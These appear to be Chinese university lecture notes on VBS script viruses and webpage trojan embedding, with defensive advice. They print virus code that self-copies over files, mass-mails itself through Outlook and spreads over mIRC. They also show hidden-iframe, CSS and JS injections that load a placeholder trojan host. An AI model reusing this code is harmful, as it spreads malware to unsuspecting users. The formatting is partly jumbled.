安徽师范大学——计算机与信息学院————作者(授课老师):周文
WSH简介
Windows Scripting Host
(Windows脚本宿主)的缩略形式,是一个基于32位Windows平台、并独立于语言的脚本运行环境,是一种批次语言/自动执行工具WScript.exe
(若是在DOS命令提示符下,则为CScript.exe
,命令格式:CScript FileName.vbs
)WScript.exe
使得脚本可以被执行,就象执行批处理一样在WSH
脚本环境里,预定义了一些对象,通过这些内置对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能
这是大多数利用VB Script
编写的病毒的一个特点
xxxxxxxxxx
Set fso=CreateObject("Scripting.FileSystemObject")
fso.Getfile("c:\1.txt").Copy("e:\2.txt")
如果用regsvr32 scrrun.dll /u
禁止了文件系统对象,在执行包含脚本的则提示失败
xxxxxxxxxx
WScript.Echo("WSH应用举例") '弹出对话框窗口
'在D盘根目录下建立10个新文件夹
dim objdir
set objdir=WScript.Createobject("Scripting.filesystemobject")
for k=1 to 10
sNewFolder="d:\WSHsample" & k '给新的文件夹命名
objdir.Createfolder(sNewFolder)
next
'在C盘根目录创建一个文本文件testfile.txt
Set RegWsh = Wscript.CreateObject("Wscript.Shell")
RegWsh.Run ("notepad " & Wscript.ScriptFullName) '用SHELL对象启动程序
Set fs = Wscript.CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\testfile.txt", True)
a.WriteLine("Hello World!")
a.Close
创建对象
Set
对象变量名 = WScript.CreateObject("WScript.Shell")
对象的方法
RegRead
RegWrite
RegDelete
xxxxxxxxxx
Dim RegWsh,sReadKey,sPrompt,sFixprompt
Set RegWsh = WScript.CreateObject("WScript.Shell")
RegWsh.RegWrite "HKCU\MyRegKey", "一级键值" '创建一级键值
sReadKey=RegWsh.RegRead("HKCU\MyRegKey") '读取(默认)键值
RegWsh.RegDelete “HKCU\MyRegKey” '删除一级键值
使得病毒生产和实现起来非常容易
xxxxxxxxxx
set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall '读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true) '打开目标文件,准备写入病毒代码
ap.write vbscopy '将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs") '创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true) '删除目标文件
xxxxxxxxxx
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files '当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp3" then '如果后缀名是mp3,则进行感染。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用scan()
scan(subfolder)
next
end sub
VBS
脚本病毒通过网络传播的几种方式及代码分析xFunction mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") '创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") '获取MAPI的名字空间
Set addrList= mapiObj.AddressLists '获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count '获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount '遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) '获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) '获取具体Email地址
item.To = addrEnt.Address '填入收信人地址
item.Subject = "病毒传播实验" '写入邮件标题
item.Body = "这里是病毒邮件传播测试!" '写入文件内容
Set attachMents=item.Attachments '定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs“
item.DeleteAfterSubmit = True '信件提交后自动删除
If item.To <> "" Then
item.Send '发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
'病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function
xwelcome_msg = "网络连接搜索测试“
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings: "
For i = 0 to oPrinters.Count – 1 Step 2 ’显示网络打印机连接情况
WScript.Echo "Port "&oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。",vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " & CRLF
For i=0 To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg ’显示当前网络驱动器连接
End If
HKEY_CLASSES_ROOT\CLSID\
下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
,注册表中对它他的说明是“Windows Script Host Shell Object
”同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228}
,注册表对它的说明是“FileSystem Object
”
xxxxxxxxxx
<html>
<head>
<title>利用CLSID创建实例</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<script language="JavaScript">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function creatObj() {
try{
obj=document.applets[0];
obj.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
obj.createInstance(); //创建一个实例
fso=obj.GetObject(); //获取文件系统对象,以便写文件
tsObj=fso.OpenTextFile("c:\\testCLSID.txt",2,true);
tsObj.Write("Hello FSO");
tsObj.Close();
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
obj.createInstance(); //创建一个实例
WshShell=obj.GetObject(); //获取Shell对象,以便运行程序
WshShell.Run("notepad c:\\testCLSID.txt");
}
catch(e)
{}
}
</script>
<body>
<H1>单击按钮,将在C盘创建文件,并用记事本打开该文件</H1><br>
<input type="button" value="创建实例" name="btn" onclick="creatObj(); return false">
</body>
</html>
IRC
聊天通道传播xxxxxxxxxx
Dim mirc, ifso
set ifso = CreateObject("Scripting.FileSystemObject")
set mirc = fso.CreateTextFile("C:\mirc\script.ini") ’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True
’将病毒文件备份到attachment.vbs
mirc.WriteLine "[script] "
mirc.WriteLine "n0 = on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }"
’利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
修改注册表项
– HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
– WSH.RegWrite(strName, anyValue [,strType])
通过映射文件执行方式
– 新欢乐时光
将dll
的执行方式修改为wscript.exe
。甚至可以将exe
文件的映射指向病毒代码
desktop.ini
和folder.htt
互相配合VBS
脚本病毒的弱点 VBS
脚本病毒运行的时候需要用到一个对象:`FileSystemObject` VBScript
代码是通过Windows Script Host来解释执行的VBS
脚本病毒的运行需要其关联程序Wscript.exe
的支持 ActiveX
的支持Email
传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的 VBS
脚本病毒禁用文件系统对象FileSystemObject
– regsvr32 scrrun.dll /u
– HKEY_CLASSES_ROOT\CLSID\
VBS、VBE、JS、JSE
文件后缀名与应用程序的映射WScript.exe
,更改名称或者删除OutlookExpress
的自动收发邮件功能中等
”,它可以在一定程度上预防某些有害的Java
程序或者某些ActiveX
组件对计算机的侵害框架挂马
xxxxxxxxxx
<iframe src=http://www.xxx.com/muma.htm width=0 height=0></iframe>
js文件
挂马
xxxxxxxxxx
document.write("<iframe width=0 height=0 src='地址'></iframe>");
<script language=javascript src=xxx.js></script>
js
变形加密
xxxxxxxxxx
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
Flash
木马
xxxxxxxxxx
http://网页木马地址 插入木马地址 width=10 height=10", "GET" 宽度和高度
不点出现链接的木马
xxxxxxxxxx
<a href="http://www.163.com(迷惑的超级连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="你的木马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,
menubar=no,scrollbars=no,resizable=no,
copyhistory=yes,width=800,height=600,left=10,top=10");
} </SCRIPT>
隐蔽挂马
xxxxxxxxxx
top.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>'[/url]
css
中挂马
xxxxxxxxxx
body {
background-image:url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')
}
Javascript
挂马
xxxxxxxxxx
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
图片伪装
xxxxxxxxxx
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
伪装调用
xxxxxxxxxx
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
高级欺骗
xxxxxxxxxx
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容</a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
IM软件
的管理规范给别有用心的病毒制造者提供了难得的空间
QQ
使用UDP
协议进行发送和接收“消息”
API
向OICQ
的“文件发送”按钮发送“点击”命令,将病毒文件传送给正在聊天的伙伴MSN
的程序开发接口,允许程序开发人员在MSN
上进行开发MSN
的文件传送功能进行传播的病毒即时通讯软件绕过防火墙的方法
ICQProxy
SocksCap32
HTTPPort
Socks2HTTP
e-BorderClient
FileGateway
MSN
附件进行传播当用户打开这个“图片”时,病毒被释放
MSN
服务器上,并注册成为攻击者MSN Messenger
的好友之一MSN Messenger
,也可能被病毒感染MSN
登录框,用户用自己的密码登录MSN
,该程序会给出出错信息并自动退出用户的密码信息以文本文档的形式记录在用户的C盘中,伺机发送给病毒制造者
Phishing
)一词是“Fishing
”和“Phone
”的结合体Web
站点在2010年,有近28%的互联网用户遭遇过虚假钓鱼网站、诈骗交易、交易劫持、网银被盗等针对网络购物的安全攻击
金融机构采取的网上安全防范措施
对于个人用户的安全建议
对于个人用户的安全建议
流氓软件实际上是具有一定的实用价值但也具有一些电脑病毒和黑客的行为特征的软件,它是为制造者的商业利益服务的
COOKIE
”在后台秘密收集用户上网习惯、浏览顺序、所关心的话题、经常访问和搜索的网站等信息,为制作者的商业计划提供必要的信息本节结束 2019年10月4日